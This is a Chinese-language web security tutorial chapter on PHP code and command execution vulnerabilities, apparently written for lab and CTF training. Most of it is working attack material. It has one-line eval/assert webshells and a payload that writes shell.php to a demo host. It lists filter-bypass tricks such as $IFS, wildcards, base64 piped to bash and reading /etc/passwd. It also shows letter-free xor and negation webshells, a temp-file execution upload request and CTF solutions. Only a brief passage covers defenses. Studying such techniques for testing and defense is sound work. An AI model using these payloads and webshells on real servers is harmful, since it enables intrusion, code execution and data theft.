Files
security-book/02.WEB安全/08.命令和代码执行漏洞.md
2025-08-27 14:13:17 +08:00

57 KiB
Raw Permalink Blame History

08.命令和代码执行漏洞

代码执行是执行PHP代码。命令执行是执行linux系统下的命令。 这两者是有区别的。有些代码在php下看起来是有错的但是在linux下是正确的。 一些工具

蚁剑: https://github.com/AntSwordProject/antSword
冰蝎: https://github.com/rebeyond/Behinder
哥斯拉: https://github.com/BeichenDream/Godzilla

1. 代码执行

代码执行漏洞Code Injection Vulnerability是指攻击者通过注入恶意代码使得应用程序执行了不安全的操作。这类漏洞通常发生在用户输入数据未经充分验证和过滤的情下被直接传递给解释器或编译器执行。 php所有的函数可以查阅官方的函数手册 https://www.php.net/manual/zh/language.functions.php 在PHP中允许我们自行传入php代码并执行。一般我们常用的有以下几种

1.1 eval()

eval($string) 把参数中的字符串当做 php 代码执行。该字符串必须是合法的代码,且必须以分号结尾。

<?php eval($_POST["cmd"]) ?>
<?php echo eval("system(whoami);");?>

1.2 assert()

assert($assertion) 如果 assertion 是字符串 ,那么将会被 assert() 当作 php 代码执行。且可以不以分号结尾。

<?php assert($_POST["cmd"]) ?>
<?php assert("system(whoami);") ?>

在PHP7 以前 assert 是作为函数。 PHP7 以后, assert 与eval 一样。都是语言构造器。不能被可变函数调用。

1.3 call_user_func()

call_user_func($func,$string) 该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。

//<?php call_user_func("assert","whoami");?>
<?php
   call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

1.4 create_function()

create_function($args, $code) 通过执行代码字符串创建动态函数,本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除 create_function() 是一个 PHP 内置函数,用于动态创建并返回一个匿名函数。它的语法如下:

<?php
   $a= $_POST['func'];
   $b = create_function('$a',"echo $a");
   $b('');
?>
//post:func=phpinfo();

1.5 array_map()

为数组的每个元素应用回调函数,用于将一个或多个数组中的每个元素都传递给回调函数进行处理,并返回一个处理后的新数组

<?php
   $array = array(0,1,2,3,4,5);
   array_map($_POST['func'],$array);
?>
//post:func=phpinfo

1.6 防御方法

  1. 使用 json 保存数组,当读取时就不需要使用 eval 了
  2. 对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单)
  3. 字符串使用单引号包括可控代码,插入前使用 addslashes 转义addslashes、魔术引号(php5.4后被弃用)、htmlspecialchars、 htmlentities、mysql_real_escape_string
  4. 放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换preg_replace_callback() (PHP5.5 以上的版本中已被弃用)
  5. 若必须使用 preg_replace 的 e 修饰符则必用单引号包裹正则匹配出的对象preg_replace+正则)

2. 命令执行

命令执行漏洞Command Injection Vulnerability是一种常见的 Web 安全威胁,攻击者利用该漏洞在受害者服务器上执行恶意命令。命令执行漏洞通常发生在用户输入数据未经充分验证和过滤的情况下,被直接传递给系统命令解释器执行。 由于企业服务器大部分是Linux所以我们可以执行如下命令开启Linux下的lnmp环境网站根目录在/root/wwwtest

docker run -d -p 10086:80 -v /root/wwwtest:/app/public fbraz3/lnmp:5.6

在PHP中允许我们执行系统程序命令。一般有以下函数

2.1 system()

执行外部程序并且显示输出返回值是状态码执行成功返回0

string system(string $command[, int &$return_var])
$command 为执行的命令, &return_var 可选用来存放命令执行后的状态码system() 函数执行有回显,将执行结果输出到页面上
//<?php system("whoami");?>

2.2 passthru()

执行外部程序并且显示原始输出,返回值运行后的输出

void passthru(string $command[, int &$return_var])
和system 函数类似, $command 为执行的命令, &return_var 可选,用来存放命令执行后的状态码执行有回显,将执行结果输出到页面上
//<?php passthru("whoami");?>

2.3 exec()

执行一个外部程序

string exec(string$command[, array &$output[, int &$return_var]])
$command 是要执行的命令, $output 是获得执行命令输出的每一行字符串, $return_var 用来保存命令执行的状态码(检测成功或失败)
exec() 函数执行无回显,默认返回最后一行结果
<?php echo exec("whoami");?>

2.4 pcntl_exec()

在当前进程空间执行指定程序

void pcntl_exec(string $path[, array $args[, array $envs]])
path 是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本
args 是一个要传递给程序的参数的字符串数组。
pcntl 是linux 下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
pcntl_exec 函数的作用是在当前进程空间执行指定程序,版本要求: PHP > 4.2.0
<?php pcntl_exec( "/bin/bash" , array("whoami"));?>

2.5 shell_exec

通过 shell 执行命令并将完整的输出以字符串的方式返回

string shell_exec(string &command)
&command 是要执行的命令, shell_exec() 函数默认无回显,通过 echo 可将执行结果输出到页面
<?php echo shell_exec("whoami");?>
// 通过 shell 环境执行命令,将完整的输出以字符串的方式返回

shell_exec() 函数实际上仅是反撇号 ` 操作符的变体,当禁用 shell_exec 时, `也不可执行 在php 中称之为执行运算符, PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

<?php echo `whoami`?>

2.6 popen()

打开进程文件指针

resource popen(string $command ,string $mode)
函数需要两个参数,一个是执行的命令 command ,另外一个是指针文件的连接模式 mode ,有 r和w代表读和写。
函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
popen() 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose()来关闭。
此指针可以用于 fgets() fgetss()  fwrite()
//<?php popen( 'whoami', 'w' ); ?>

3. 注入方式

Linux查看文件的几个命令

more: 一页一页的显示档案内容
less: 与more 类似 ,其优点可以往前翻页,而且进行可以搜索字符
head: 查看头几行
cat: 由第一行开始显示内容,并将所有内容输出
tac: 从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail: 查看尾几行
tailf: 类似于 tail -f
nl :类似于 cat -n, 显示的时候,顺便输出行号
od: 以二进制的方式读取档案内容 ,搭配 -c 参数读内容
vi: 一种编辑器,这个也可以查看
vim: 一种编辑器,这个也可以查看
sort: 可以查看
uniq: 可以查看

window 下的转义字符为 "^",linux 下的转义字符为 "\"

3.1 管道符

命令为假可以理解成命令不存在或者命令结果为假

3.1.1 Linux

;前面和后面命令都要执行,无论前面真假

#ls ; whoami  

|直接执行后面的语句

#ls | whoami

|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

#ls || whoami

&前面和后面命令都要执行,无论前面真假

#ls & whoami

&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

#ls && whoami

3.1.2 windows

|直接执行后面的语句

#dir | whoami

|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

#dir || whoami

&前面和后面命令都要执行,无论前面真假

#dir & whoami

&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

#dir && whoami

3.2 注释符号

与代码注释一样,合理利用的时候,命令执行能够使命令后面的其他字符成为注释内容,以达到我们想要的效果。 windows 的注释符号为 "::", 在BAT 批处理脚本中用的较多; linux 的注释符号为 "#" ,在 bash 脚本中用的比较多。

3.3 实战

3.3.1 ping

可以看到当我们输入一个IP地址就可以触发一个 ping IP 地址 的操作,所以我们是不是可以利用前面的注入方式来执行命令 image-20240228162700447 使用如下命令

127.0.0.1&whoami

image-20240228162706407 但是可以发现有的在cmd终端执行就可以但是用burp重放的时候就没有效果 ping 127.0.0.1 & whoami 因为在数据包中的结果就会变成 ipaddress=127.0.0.1&whoami&submit=ping ,可以看到这个&whoami 就会被解析成一个参数所以导致这个payload失效了。所以在能够执行的命令的payload中不能使用&字符,但是如果使用浏览器直接输入会怎么样呢?可以看到被正常执行了 image-20240228162711844 尝试如下的代码

ipaddress=127.0.0.1|whoami&submit=ping
ipaddress=11||whoami&submit=ping
ipaddress=127.0.0.1|ipconfig &submit=ping

image-20240228162721285 image-20240228162728516 ipconfig是windows的cmd下的命令Linux下可以使用ifconfig进行查看,如果ifconfig未安装:apt -y install net-tools image-20240228162733488

3.3.1.1 源码分析
<?php 
$result='';

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分然后校验数字以范围第一位和第四位1-255中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

}
?>

可以看到使用POST接受了submit和ipaddress两个数据然后使用 php_uname('s') 获取系统的操作类型然后做shell_exec跟拼接导致命令执行。

3.3.2 eval

可以看到当我们输入正常的Linux的命令没有正常拿到预期的结果但是如果输入 phpinfo() ; 就会被正常解析所以猜测后端大概是eval函数写的。 image-20240228162941196 所以我们可以使用eval函数执行phpinfo的话也可以执行system命令

txt=phpinfo();&submit=%E6%8F%90%E4%BA%A4
txt=system("whoami");&submit=%E6%8F%90%E4%BA%A4
写入一句话
fputs(fopen('shell.php','w'),'<?php @assert($_POST[shell]);?>');
http://d19.s.iproute.cn//vul/rce/shell.php

image-20240228162947420 image-20240228162952627

3.3.2.1 源码分析
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";
    }
}

可以看到使用POST接受了submit和txt两个数据然后做eval跟拼接导致命令执行。 此处有一个@符号是错误抑制符用来屏蔽eval()函数可能导致的错误和异常,但是不能完全避免命令执行。

4. 绕过

4.1 空格绕过

4.1.1 $IFS

IFS 是一个环境变量,用于定义 shell 解释器在解析命令行输入时使用的字段分隔符。默认情况下, IFS 的值为包含空格、制表符和换行符的字符串: "\t\n" 当用户在 shell 中输入命令时, shell 解释器会将整个命令行输入拆分为多个参数,并以 $IFS 中指定的字符作为字段分隔符进行拆分,最后重新组合赋值给该变量。 直接用$IFS 的话,会认为解析没结束,会把后面的也当做参数解析,比如 cat$IFSflag.php ,会把 IFSflag一起当变量解析。这时候需要在 $IFS 后面进行截断,使解析为空,结束 $IFS ,正常执行后面的内容。 $IFS 环境变量不仅适用于 shell 解释器,还适用于其他一些命令和程序。

ca$1t${IFS}file.txt           # 等同于cat file.txt

${PS2} 对应字符 >
${PS4} 对应字符 +
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串

4.1.2 标准输入

重导向标准输出

whoami>haha.txt
# 可以将命令的执行结果写到某个文件里面

< 重导向标准输入

cat<haha.txt
# 比如cat就可以接收输入重定向的内容并且显示出来

4.1.3 通配符

  • 匹配任意长度任意字符
cat ha*
# 匹配上ha开头的文件

? 匹配任意单个字符

cat haha.t?t
# 只能匹配上haha.txt而haha.jpg就不能匹配上

4.1.4

cat demo.ph{a..z}
# 会查看demo.pha一直到demo.phz文件中间有一个会被匹配上

4.1.5 %path:~10,1%

在Windows 中, %commonprogramfiles% 是一个系统环境变量表示所有用户共享的程序文件夹例如C:\Program Files\Common Files )。而 %commonprogramfiles:~17,-6% 是一种字符串操作语法,可以从 %commonprogramfiles% 变量的第 17 个字符开始,截取到倒数第 6个字符之前的子字符串然后将结果作为新的字符串值使用。 具体而言, :~17,-6 表示:

  • ~17 :从第 17 个字符开始截取。
  • -6 :截取到倒数第 6 个字符之前。

因此,如果 %commonprogramfiles% 的值为 "C:\Program Files\Common Files" 则%commonprogramfiles:~17,-6% 的值应该是 "Common" 。这是因为从第 17 个字符开始到倒数第 6 个字符之前的子字符串就是 "Common" 。

C:\Users\simid>echo %commonprogramfiles:~17,-6%
Common

这种绕过方式在下面的无参RCE部分比较常用。此处仅作了解。

4.1.6 常用payload

  • Linux
cat$IFS$1flag.php // 使用特殊变量, $1 改成 $加其他数字也可以
cat${IFS}flag.php // 使用 {}
cat$IFS'f'lag.php // 使用引号
cat$IFS\flag.php // 使用转义符
cat$IFS?lag.php // 使用通配符
cat<flag.php // 重定向标准输出
cat<flag.php>haha.txt // 重定向标准输出
{cat,flag.php} // 用逗号实现了空格功能
ca\t fl\ag.php // 转义
%20 或%09   //%20 是空格、 %09 是tab (如果是防火墙过滤空格可能会忽略url编码后的字符)
ca\t fla[a-z].php // 取值范围
  • Windows
type.\shell.php
type,shell.php
  • fuzz字典

Fuzz testing也叫做模糊测试或随机测试是一种自动化软件测试方法。它使用大量随机数据输入以观察程序在面对非正常输入时会发生什么。该方法的主要目的是发现程序中的漏洞、错误或异常行为以便针对这些问题进行修复和改进。Fuzz测试可以应用于各种软件应用程序包括计算机操作系统、网络协议、数据库管理系统等。 通过fuzz字典我们将内容提交给网站观察返回的页面从而推断出可能存在的屏蔽和绕过的可能 关于fuzz字典的收集参照https://github.com/TheKingOfDuck/fuzzDicts

~
!
@
#
$
%
^
&
*
(
)
<
>
_
+
-
=
\
/
]
[
{
}
;
:
'
"
|
?
.
,
{IFS}
$IFS$9
%path:~10,1%
%homepath:~10,1%
%userprofile:~12,1%
%programfiles:~10,1%
%processor_identifier:~3,1%
%processor_identifier:~7,1%
%commonprogramw6432:~10,1%
%commonprogramfiles(x86):~10,1%
%commonprogramfiles:~10,1%
%commonprogramfiles:~10,-18%
%commonprogramfiles:~23,1%
%commonprogramfiles:~23,-5%
%fps_browser_app_profile_string:~8,1%

4.2 通配符

* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符, e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符

举例

??? 在linux 里面可以进行代替字母
 /???/c?t flag.php
*在linux 里面可以进行模糊匹配 ,* 进行模糊匹配 php
 cat flag.*

利用通配符绕过限制,并且寻找唯一定向命令
 ---> 匹配后是 :?c=/bin/base64 flag.php
/???/???/????2 ???????? ---> 匹配后是 :?c=/usr/bin/bzip2 flag.php 会生成一个
flag.php.bz2 的文件

4.3 读取文件

如果前面各种Linux查看文件的命令都被拦截了我们可以使用几个函数来读取文件内容

4.3.1 paste

paste 命令用于将多个文件的内容按列合并到一起。该命令从每个输入文件中读取一行文本,并在输出中使用制表符分隔它们。

paste shell.php
# 查看一个文件
paste shell.php /etc/passwd
# 查看多个文件

4.3.2 diff

diff 命令是一个在 Linux 系统中用于比较文本文件之间差异的命令。它可以帮助用户查找和标识文件之间的修改、添加或删除行等差异。

diff ./shell.php /etc/passwd

4.3.3 od

od命令主要是用于分析和查看二进制文件的内容对于文本文件它主要用于查看文件的ASCII码。

od -a shell.php

4.3.4 curl

curl file:///root/shell.php

4.3.5 base64

echo YWJjZGU=|base64 -d // 打印出来 abcde
echo Y2F0IC9yb290L3NoZWxsLnBocAo=|base64 -d|bash #cat /root/shell.php
echo Y2F0IC9ob21lL3QvZmxhZy5waHA=|base64 -d|sh #cat /root/shell.php

4.3.6 hex编码

echo 636174202f726f6f742f7368656c6c2e7068700a | xxd -r -p |bash
# cat /root/shell.php

4.3.7 unicode编码

printf "\154\163"		# ls
printf "\u0063\u0061\u0074\u0020\u002f\u0072\u006f\u006f\u0074\u002f\u0073\u0068\u0065\u006c\u006c\u002e\u0070\u0068\u0070"
# cat /root/shell.php

4.3.8 拼接

将字符串拼接在一起绕过

[root@localhost ~]# a=l;b=s;$a$b
[root@localhost ~]# a=cat;b=/root/shell.php;$a<$b
[root@localhost ~]# a=ca;b=t${IFS}/root/shell.p;c=hp;d=$a$b$c;$d

4.3.9 未定义的变量

未定义的变量就是不存在,可以随意拼接来绕过

[root@localhost ~]# cat$x shell.php

4.3.10 连接符

[root@localhost ~]# cat sh'e'll.php
[root@localhost ~]# c'a't$x sh'e'll.php

4.3.11 长度限制绕过

通过命令行重定向写入命令接着通过ls按时间排序把命令写入文件最后执行直接在Linux终端下执行的话创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令需要Ctrl+D才能结束这样就等于标准输入流的重定向 而在php中 , 使用shell_exec等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

4.3.11.1 重定向写入
[root@localhost ~]# ls > a
[root@localhost ~]# cat a
4.3.11.2 命令换行
[root@localhost ~]# cat \
> shell\
> .php

4.3.12 source命令

使用source <文件名>用当前的shell执行一个文件中的命令 在linux下source可以利用.代替

[root@localhost ~]# source shell.php
[root@localhost ~]# . shell.php

4.4 特殊姿势

4.4.1 无参RCE

无参RCERemote Code Execution是一种 Web 漏洞攻击技术,其目的是通过向远程服务器发送恶意请求,以执行任意代码并控制受害者系统。 无参指的是攻击者不需要提供任何参数或数据即可触发漏洞,从而执行恶意代码。这通常是由于缺少输入验证和过滤导致的。 无参RCE攻击通常利用Web应用程序的漏洞例如未正确验证用户输入或使用了已知的安全漏洞或错误配置。攻击者可以构造恶意请求将攻击代码注入到应用程序中并在服务器上执行该代码。 以下内容可自由搭配。并在php代码中调试。

4.4.1.1 数组操作
函数 功能
Curent 返回数组中当前元素的值
Array_reverse 以相反的顺序返回数组
Array_rand 随机取出数组中的一个或多个单元
Array_filp 交换数组的键和值
getallheaders 包含当前请求所有头信息的数组
get_defined_vars 返回数组中的单元且初始指针指向数组的第一个单元
session_id 返回当前会话ID
session_start 启动新会话或者重用现有会话
scandir(directory,sorting_order,context) 以数组形式返回文件和目录,第一个参数是目录,第二个是排序方式
end 将数组中的内部指针指向最后一个单元
key 从关联数组中取得键名
each 返回数组中当前的键值对,并将数组指针向前移动一步
prev 将数组的内部指针倒回一位
reset 将数组的内部指针指向第一个单元
next 将数组的内部指针向前移动一位
4.4.1.2 文件操作
函数 功能
Localeconv() 返回包含本地数字及货币格式信息的数组,该函数的第一个值就是”.”
Print_r() 打印变量
Readfile 读取文件并写入到输出缓冲。
pos 取第一个值
chdir 用来跳目录的将PHP的当前目录改为directory
file_get_contents() 将整个文件读入一个字符串
highlight_file()/show_source() 语法高亮一个文件
scandir() 列出指定路径中的文件和目录
direname() 给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。
dirname() 目录上跳,返回父目录的路径
getcwd() 取得当前工作目录
get_defined_vars() 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
getenv 获取一个环境变量的值
phpversion() 获取当前的PHP版本
4.4.1.3 其他函数
函数 功能
chr() 返回指定的字符
rand() 产生一个随机整数
time() 返回当前的Unix时间戳
localtime() 取得本地时间
localtime(time()) 返回一个数组Array[0] 为一个0~60之间的数字
hex2bin() 转换十六进制字符串为二进制字符串
ceil() 进一法取整
sinh() 双曲正弦
cosh() 双曲余弦
tan() 正切
floor() 舍去法取整
sqrt() 平方根
crypt() 单向字符串散列
hebrevc 将逻辑顺序希伯来文logical-Hebrew转换为视觉顺序希伯来文visual-Hebrew并且转换换行符
hebrevc(crypt(arg))[crypt(serialize(array()))] 可以随机生成一个hash值 第一个字符随机是$(大概率)或者.(小概率)然后通过ord chr只取第一个字符
ord() 返回字符串的第一个字符的ASCII码值

部分函数使用案例

<?php
print_r(scandir(current(localeconv()))); // 查看当前目录有那些文件

// Array
// (
//     [0] => .
//     [1] => ..
//     [2] => info.php
//     [3] => test.php
// )

print_r(array_reverse(scandir(current(localeconv()))));   // 将数组反转

// Array
// (
//     [0] => test.php
//     [1] => info.php
//     [2] => ..
//     [3] => .
// )

print_r(array_reverse(scandir(current(localeconv())))[0]);  // 拿到指定的文件名

// test.php

print_r(readfile(array_reverse(scandir(current(localeconv())))[0])); // 输出文件内容

// <?php
// phpinfo();
// ?>

print_r(readfile(scandir(current(localeconv()))[2])); // 直接输出文件内容

// <?php
// phpinfo();
// ?>

?>

4.4.2 无字母数字webshell

4.4.2.1 异或

实现代码 通过如下代码得到_GET字符的异或

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
   for($j=0;$j<255;$j++)
   {
       $k = chr($j)^chr(255);
       if($k == $argv[$i]){
           if($j<16){
               $l .= "%ff";
               $r .= "%0" . dechex($j);
               continue;
           }
           $l .= "%ff";
           $r .= "%" . dechex($j);
           continue;
       }
   }
}
echo "('$l')^('$r')";
?>


// ('%ff%ff%ff%ff')^('%a0%b8%ba%ab')

测试的php代码

<meta charset="utf-8">
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
    // 过滤所有的数字和字母
    $a = $_GET['shell'];
    echo '<br>服务器看到的参数是:' . $a;
    eval($a);
}
?>

使用如下payload

http://localhost:8080/test.php?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

其实传入的是shell=$_GET{%ff特殊字符}();&%ff特殊字符=phpinfo
当服务器读取$_GET['shell']的时候会拿到一堆乱码所以waf无法通过规则过滤
即使过滤了所有的字母和数字,一样会触发代码执行漏洞

image-20240228170256481

4.4.2.2 取反

取反的符号是~也是一种运算符。在数值的二进制表示方式上将0变为1将1变为0。

<?php
$a = urlencode(~'phpinfo');
echo $a;
// %8F%97%8F%96%91%99%90
?>

PHP 5 和 PHP 7 的区别 1在 PHP 5 中assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用) 2PHP5中是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')(); image-20240228170302682

4.4.2.3 构造POST
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t
 
%A0^%FF=>_    
%AF^%FF=>P 
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T 
    
$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
$___=$$__;
$_($___[_]);

payload

http://localhost:8080/test.php?shell=$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";$___=$$__;$_($___[_]);
# 需要添加POST
_=phpinfo();

image-20240228170309154 下面这个脚本可以将“assert”变成两个字符串异或的结果通过更改shell的值可以构造出我们想要的字符串。为了便于表示生成字符串的范围为33-126可见字符)。

<?php
$shell = "_POST";
$result1 = "";
$result2 = "";
for($num=0;$num<strlen($shell);$num++)
{
    for($x=33;$x<126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "'" . $result1;
echo "'^'";
echo $result2 . "'";

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}
?>

生成的payload为

<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
?>

url编码后

http://localhost:8080/test.php?shell=
%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%0A%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%0A%24___%20%3D%20%24%24__%3B%0A%24_(%24___%5B_%5D)%3B

image-20240228170316133 另外一种方法

<?php
$a = urlencode(~'assert');
echo $a;
//%9E%8C%8C%9A%8D%8B

$b = urlencode(~'_POST');
echo $b
//%A0%AF%B0%AC%AB
?>

拼接后如下

<?php
$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab";   //得到_POST此时$__="_POST"
$___ = $$__;   //$___=$_POST
$_($___[_]);   //assert($_POST[_])
?>

修改后的payload为

http://localhost:8080/test.php?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

image-20240228170322263 PHP5中assert()是一个函数我们可以用_()这样的形式来执行代码。但在PHP7中assert()变成了一个和eval()一样的语言结构不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。下还能这样调用。 image-20240228170327679 PHP5中是不支持($a)()这种调用方法的但在PHP7中支持这种调用方法因此支持这么写 image-20240228170339530

4.4.2.4 绕过_过滤

分析下这个Payload?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行~"%a0%b8%ba%ab"为"_GET"通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

http://localhost:8080/test.php?shell=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ipconfig

image-20240228170346134

4.4.2.5 绕过$过滤

php7下面的上面编码已经解决 下面解决php5下面的问题 构建环境

docker run --rm -d -p 9090:80 -v `pwd`:/var/www/html php:5.6-apache

PHP代码这次屏蔽$_

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}
?>

Linux shell知识点

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

执行. /tmp/phpXXXXXX也是有字母的。此时就可以用到Linux下的glob通配符

  1. *可以代替0个及以上任意字符
  2. ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。 但我们尝试执行. /???/?????????,却会报错,因为能被匹配上的文件有很多。 翻开ascii码表可见大写字母位于@与[之间: image-20240228170453540 那么,我们可以利用[@-[]来表示大写字母:

ls /???/????????[@-[]

image-20240228170502355 当然php生成临时文件名是随机的最后一个字符不一定是大写字母不过多尝试几次也就行了。 POST数据报文如下

POST /test.php?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 192.168.173.144:9090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
Content-Type: multipart/form-data; boundary=--------253975810
Content-Length: 145

----------253975810
Content-Disposition: form-data; name="file"; filename="1.txt"

#!/bin/sh

cat /etc/os-release
----------253975810--


image-20240228170508946

4.4.2.6 CTF实战

题目 index.php

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){ //检测字符长度
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
        die("NO.");
    }
    @eval($code); //$code的值要为非字母和数字
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

flag.php

<?php
	function getFlag(){
		$flag = "111111111111111111";
		echo $flag;
};
?>
4.4.2.6.1 解题过程
//_POST和_GET的异或如下
<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
//也可以使用编码后的版本
var_dump("%ff%ff%ff%ff"^"%a0%b8%ba%ab"); //_GET
?>

webshell

$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab";${$_}[_](${$_}[__]);&_=getFlag
    
$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=getFlag //执行函数 eval("getFlag(null)")

image-20240228170516531 执行任意代码

http://localhost:8080/?code=$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab";${$_}[_](${$_}[__]);&_=assert&__=phpinfo()

image-20240228170521372 也可以使用取反的方式 对getFlag进行取反得到$_=~%98%9A%8B%B9%93%9E%98;$_(); webshell为 image-20240228170527292

4.4.2.7 webshell汇总

webshell1

<?php
@$_++; //$_=NULL=0  $_++=1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

image-20240228170533715 也可以节约长度将webshell精简

<?php
@$_++;
$__='#./|{'^'|~`//';
${$__}[!$_](${$__}[$_]);
?>

webshell2 中文编码在截取部分之后可以得到英文字符

php > echo ~('瞰'[1]);
a
php > echo ~('和'[1]);
s
php > echo ~('和'[1]);
s
php > echo ~('的'[1]);
e
php > echo ~('半'[1]);
r
php > echo ~('始'[1]);
t

webshell如下

<?php
$__=('>'>'<')+('>'>'<'); //True+True=2;$__=2
$_=$__/$__; //$_=2/2=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// 得到assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
// 得到_POST
$_=$$_____;
// 得到$_POST数组
$____($_[$__]);
// 相当于执行了assert($_POST[2])
?>

image-20240228170540673 webshell3 在处理字符变量的算数运算时PHP沿袭了Perl 的习惯而非C的。例如在Perl中$a='Z'; a++; 将把 a变成AA注意字符变量只能递增不能递减并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效,原字符串没有变化。

<?php
$a = 'a';
$a ++;
var_dump($a);
$a --;
var_dump($a);
?>

image-20240228170546178 而在 C 中,a='Z';a++;将把a变成中[ Z的 ASCII 值是 90[的 ASCII 值是 91image-20240228170551583 那么如何拿到字符串'a'的变量呢? 数组Array的第一个字母就是大写A而且第4个字母是小写a。也就是说我们可以同时拿到小写和大写A等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中如果强制连接数组和字符串的话数组将被转换成字符串其值为Array再取这个字符串的第一个字母就可以获得'A'了。 image-20240228170557067 基于此原理我们可以构造如下的webshell

<?php
$_=[];
$_=@"$_"; // $_='Array';
